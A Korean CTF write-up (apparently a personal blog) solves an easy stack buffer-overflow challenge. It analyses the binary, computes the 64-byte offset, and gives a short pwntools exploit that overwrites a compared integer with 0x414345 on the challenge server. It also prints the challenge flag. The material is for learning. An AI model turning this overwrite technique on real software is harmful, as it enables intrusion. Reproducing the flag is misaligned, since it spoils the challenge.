본문 바로가기

WARGAME/smch ctf

SMCH CTF - BOF2 (EZ)

 

 

BOF 2번 문제당 바이너리를 함 받아서 실행시켜 보장

 

 

 

1번과 비슷하게 입력을 받는당 입력으로 A를 여러개 넣어보자

 

 

 

 

흠 입력을 받아 보니 "Hi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! Your IQ is 0x00000000!"

라는 문자열이 출력되는 것을 보아 내가 입력 받은 값을 그대로 출력해 주는 같다. 그럼 이쯤에서 IDA로 분석을 해보자. 

 

 

 

 

 

이전 문제랑 상당히 비슷한 거 같다. 버퍼를 ebp에서 0x54(84) 만큼 esp를 빼 할당하고 그중에서 문자열을 입력받는 부분은

총 64바이트임을 알 수 있다.  그리고 if에서 v4와 4277061을 비교 해서 같으면 flag를 얻을 수 있음을 확인 할 수 있는데,

우리가 입력을 줄때는 int형 4byte로 덮어야 하니깐 hex값로 봐보면, 

 

 

 

 

 

 

위와 같이 0x414345로 덮어주면 됨을 확인 할 수 있다. 그리고 v4변수와 buf[64]변수의 거리를 구해보면,

전체  buf가 ebp에서부터 0x54만큼 떨어져 있고, v4가 ebp에서 0x14만큼 떨어져 있으므로, 0x54-x014

즉, 64만큼 buf를 체우고 나머지를 저 0x414345로 덮으면 flag를 딸 수 있을 것이다. 그럼 다음과

같이 익스 코드를 짜보면,

 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
 
p=remote("ssh.luxroot.com"9003)
 
payload=''
payload+="A"*64
payload+=p32(0x414345)
 
p.sendline(payload)
 
p.interactive()

 

 

 

위와 같이 flag를 구할 수 있당

 

FLAG : flag{N0w_you_kn0w_b0f_4nd_Little_Endian!}

'WARGAME > smch ctf' 카테고리의 다른 글

SMCH CTF - Calc  (0) 2019.11.09
SMCH CTF - Rock Paper scissors(EZ)  (0) 2019.11.08
SMCH CTF - BOF4  (0) 2019.11.08
SHCH CTF - BOF3  (0) 2019.11.03
SMCH CTF - BOF1 (EZ)  (0) 2019.11.01